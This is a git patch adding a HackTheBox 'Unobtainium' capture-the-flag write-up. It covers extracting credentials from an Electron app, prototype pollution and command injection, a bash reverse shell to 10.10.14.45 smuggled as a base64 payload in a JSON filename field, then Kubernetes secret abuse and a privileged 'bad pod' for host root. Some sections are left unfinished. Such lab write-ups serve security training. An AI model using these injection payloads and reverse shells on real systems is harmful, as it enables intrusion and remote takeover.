From fc90ba0698bd88eeffe86fad5cc69471662e4e04 Mon Sep 17 00:00:00 2001 From: ARZ <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Sun, 5 Sep 2021 01:17:24 +0500 Subject: [PATCH] Add files via upload --- HackTheBox/Unobtainium.md | 407 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 407 insertions(+) create mode 100644 HackTheBox/Unobtainium.md diff --git a/HackTheBox/Unobtainium.md b/HackTheBox/Unobtainium.md new file mode 100644 index 0000000..b2a8a93 --- /dev/null +++ b/HackTheBox/Unobtainium.md @@ -0,0 +1,407 @@ +# HackTheBox-Unobtainium + +## NMAP + +```bash +PORT STATE SERVICE REASON VERSION +22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) +80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu)) +| http-methods: +|_ Supported Methods: POST OPTIONS HEAD GET +|_http-server-header: Apache/2.4.41 (Ubuntu) +|_http-title: Unobtainium +2379/tcp open ssl/etcd-client? syn-ack ttl 63 +|_ssl-date: TLS randomness does not represent time +| tls-alpn: +|_ h2 +| tls-nextprotoneg: +|_ h2 +2380/tcp open ssl/etcd-server? syn-ack ttl 63 +|_ssl-date: TLS randomness does not represent time +| tls-alpn: +|_ h2 +| tls-nextprotoneg: +|_ h2 +8443/tcp open ssl/https-alt syn-ack ttl 63 +| fingerprint-strings: +| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: +| HTTP/1.1 400 Bad Request +| Content-Type: text/plain; charset=utf-8 +| Connection: close +| Request +| GetRequest: +| HTTP/1.0 403 Forbidden +| Cache-Control: no-cache, private +| Content-Type: application/json +| X-Content-Type-Options: nosniff +| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39 +| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd +| Date: Wed, 04 Aug 2021 08:17:15 GMT +| Content-Length: 185 +| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason +":"Forbidden","details":{},"code":403} +| HTTPOptions: +| HTTP/1.0 403 Forbidden +| Cache-Control: no-cache, private +| Content-Type: application/json +| X-Content-Type-Options: nosniff +| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39 +| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd +| Date: Wed, 04 Aug 2021 08:17:16 GMT +| Content-Length: 189 +|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","re +ason":"Forbidden","details":{},"code":403} +|_http-title: Site doesn't have a title (application/json). +| ssl-cert: Subject: commonName=minikube/organizationName=system:masters +| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.sv +c, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1 +| Issuer: commonName=minikubeCA +| Public Key type: rsa +| Public Key bits: 2048 +| Signature Algorithm: sha256WithRSAEncryption +| Not valid before: 2021-07-25T14:52:45 +10249/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API) +|_http-title: Site doesn't have a title (text/plain; charset=utf-8) +10250/tcp open ssl/http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API) +|_http-title: Site doesn't have a title (text/plain; charset=utf-8). +| ssl-cert: Subject: commonName=unobtainium@1610865428 +| Subject Alternative Name: DNS:unobtainium +| Issuer: commonName=unobtainium-ca@1610865428 +| Public Key type: rsa +| Public Key bits: 2048 +| Signature Algorithm: sha256WithRSAEncryption +| Not valid before: 2021-01-17T05:37:08 +| Not valid after: 2022-01-17T05:37:08 +10256/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API) +|_http-title: Site doesn't have a title (text/plain; charset=utf-8). +31337/tcp open http syn-ack ttl 62 Node.js Express framework +| http-methods: +| Supported Methods: GET HEAD PUT DELETE POST OPTIONS +|_ Potentially risky methods: PUT DELETE +|_http-title: Site doesn't have a title (application/json; charset=utf-8). +38233/tcp filtered unknown no-response + +``` + +We can see a lot of ports from the nmap scan , the ports that are of our interest is port 80 and port 8443 on which kuberentes is running , kubernetes is used for container orchestration which is manager of running number of docker containers , monitioring and managing them. So first I'll enumerate the webserver on port 80 + +## PORT 80 (HTTP) + +On port 80 we can see a simlple HTML template on which we have options to download a chat application what is called `Unobtainium`. + + + +After downloading the debain file we can install it on our linux machine or we could unizp it to read the source code , on extracting , it looks like it's made using `electron` which is an open source framework for building deskop based application using javascript. + + + +We can see a folder named `resources` and in that folder there's a file named `app.asar` which is an archive used to package source code for an application using `Electron`. We can extract the files from it using `npx` + +https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file + + + + + +We can find some creds from `app.js` + + + +Now installing the .deb package with `apt install ./unobtainium_1.0.0_amd64.deb` we can use the `unobtanium` binary also make sure to add `unobtanium.htb` in /etc/hosts file as it's making requests to that domain name. + + + +We can send messages through this application and it logs those messages + + + +So using `wireshark` we can analyze how it's making a POST request + + + +Right click on `/todo` packet and follow TCP stream + + + +From the terminal we can do a POST request like this + +```bash + curl --header "Content-Type: application/json" \ + --request POST \ + --data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' \ + http://unobtainium.htb:31337/todo +``` + + + +Let's try to grab `index.js` + + + +Notice that the contents of index.js are different so to get a clear picture save this response in a bash scipt file like this + +```bash +echo -e 'respone' + +``` + +Here `-e` will interpret those `\n` as new line character + + + +Here we can see a library is being used `google-cloudstorage-commands` which is vulnerable to command injection + + + +https://snyk.io/test/npm/google-cloudstorage-commands/0.0.1 + +Also we can upload files through a POST request `/upload` + + + +So to get a reverse shell we need to first `echo` the base64 encoded bash reverse shell , pipe that to decode it and run it by piping it to bash + + + + + + +``` +curl -X PUT -H 'Content-Type: application/json' http://unobtainium.htb:31337/ --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}' + +``` + +Insert porotype pollution explaination , report and screenshot + + +bash -i >& /dev/tcp/10.10.14.45/2222 0>&1 + +```bash +curl --header "Content-Type: application/json" \ + --request POST \ + --data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40NS8yMjIyIDA+JjE=' |base64 -d|bash"}' \ + http://unobtainium.htb:31337/upload +``` + + + +Now to enumerate docker containers , we need to see if it's in a network of containers since we saw that kubernetes is being used. To check if there are other containers we can do a nmap scan , since the container doens't have one we can use static nmap binary and host it on our machine and download it through `wget` as it's avaiable on docker container. Prior to this I did try pining other hosts and it turns out there 10 hosts , from 172.17.0.1 to 172.17.0.10. + + + +I used the static nmap binary to do all port scan for 10 hosts . + + +## 172.17.0.1 + +``` +Host is up (0.000022s latency). +Not shown: 65529 closed ports +PORT STATE SERVICE +22/tcp open ssh +80/tcp open http +8443/tcp open unknown +10250/tcp open unknown +10256/tcp open unknown +31337/tcp open unknown + +``` + +## 172.17.0.2 + +``` +Host is up (0.000033s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +5000/tcp open unknown + +``` + +## 172.17.0.4 +``` +Host is up (0.000017s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +3000/tcp open unknown + +``` + +## 172.17.0.5 +``` +Host is up (0.000051s latency). +Not shown: 65531 closed ports +PORT STATE SERVICE +53/tcp open domain +8080/tcp open http-alt +8181/tcp open unknown +9153/tcp open unknown +``` + +## 172.17.0.6 + +``` +Host is up (0.000025s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +3000/tcp open unknown + +``` + +## 172.17.0.7 + +``` +Host is up (0.000025s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +3000/tcp open unknown +``` + + +## 172.17.0.8 + +``` +Host is up (0.000025s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +3000/tcp open unknown + +``` + +## 172.17.0.9 + +``` +Host is up (0.000025s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +3000/tcp open unknown + +``` + +## 172.17.0.10 + +``` +Host is up (0.000025s latency). +Not shown: 65534 closed ports +PORT STATE SERVICE +3000/tcp open unknown + +``` + +Now we cannot do anything here unless we upload `kubectl` binary on the docker container , kubectl is a command line tool for interacting with kubernetest cluster from which you can deploy clusters , monitor and manage them , view logs or access namespaces. + + + +After transferring `kubetcl` we can use the command `get pods` , a pod is a resource in which a container runs , usually one container runs in a pod , think pod as a wrapper around a docker container + + + +We don't have permission to view it , let's view `namespaces` , in kubernetes namespaces are used to organize `clusters` into groups or into a category where as clusters are collection or set tof nodes (docker conatiners) that are used to run an application. So let's try to view namespaces through `kubectl` + + + +Here we see 5 namespaces out of which `default` , `kube-public` and `kube-system` . Default is for or objects with no other namespace, kube-public is used for public resources and kube-system is for objects created by the kubernetes system. We can't access them if we want to + + + +Here I used `-n` which will specifiy which namespace we want to get information of , but we can't these namespaces, only `dev` namespace can be accessed here + + + +We have 3 pods running in `dev` namespace , to get information of a pod in this namespace we can use this command + +` ./kubectl get -o json pod devnode-deployment-cd86fb5c-6ms8d -n dev` + + + +It has an exposed port which is 3000 as we saw from the nmap scan so this means it will be runnning the same API server from which we can get a rev shell again , now let's look for it's IP + + + + + +I got the rev shell again so that I could have to shells on the docker container , as I need a rev shell on the docker container again and I don't want to do port forwarding + + + +I transferred static binary of `ncat` on docker container + +https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat + + + +``` +curl -X PUT -H 'Content-Type: application/json' http://172.17.0.10:3000 --data '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":true}}}' + + +``` + +``` +curl --header "Content-Type: application/json" \ + --request POST \ + --data '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC40LzIyMjIgMD4mMQ==' |base64 -d|bash"}' \ + http://172.17.0.10:3000/upload + + ``` + + Doing those steps again still I couldn't get a shell back + + + + Now we really need to do portforwarding as this doesn't work on docker container , so we'll have to use `chisel` for port forwarding + + + + + + Here I am have started a chisel server on port 2222 and on the client I am port forwarding the port 3000 from the target 172.17.0.10 and mappning it on port 3000 on my machine + + + + + + This doesn't have a `user.txt` flag which means we are on a different docker container, also if we try to see if `kubectl` exists or not + + + + Again we need to transfer that binary in this container + + + + + + From this container we can't get even `namespaces` but using `kubectl get secrets -n kube-system` we can get secrets. A `secret` is an object that contains a small amount of sensitive data such as a password, a token, or a key with which we have ability to modify or create pods in namespace + + + + We can get information of the secret through `/kubectl describe secret c-admin-token-tfmp2 -n kube-system` + + + + Reffering to this article +https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation + +We can create what is called `Bad Pods` that can give you root access to the host system if you have compromised kuberneteres secretes which have so we can try to make a bad pod + +https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml + +I'll be using this yaml file for creating a pod but the problem is that we can't download the image , in this yaml file it is set to `ubuntu` as this machine doesn't have internet access it can't really download the image + + + +But going back to the information we pulled from the pod in `dev` namespace we can use the image name `localhost:5000/node_server` + + + + + +https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf + +For this to work we need to supply the token other wise pod won't be created + + + +On our netcat we would get a reverse shell but it will get terminated as a pod clean up script is being ran + + + + \ No newline at end of file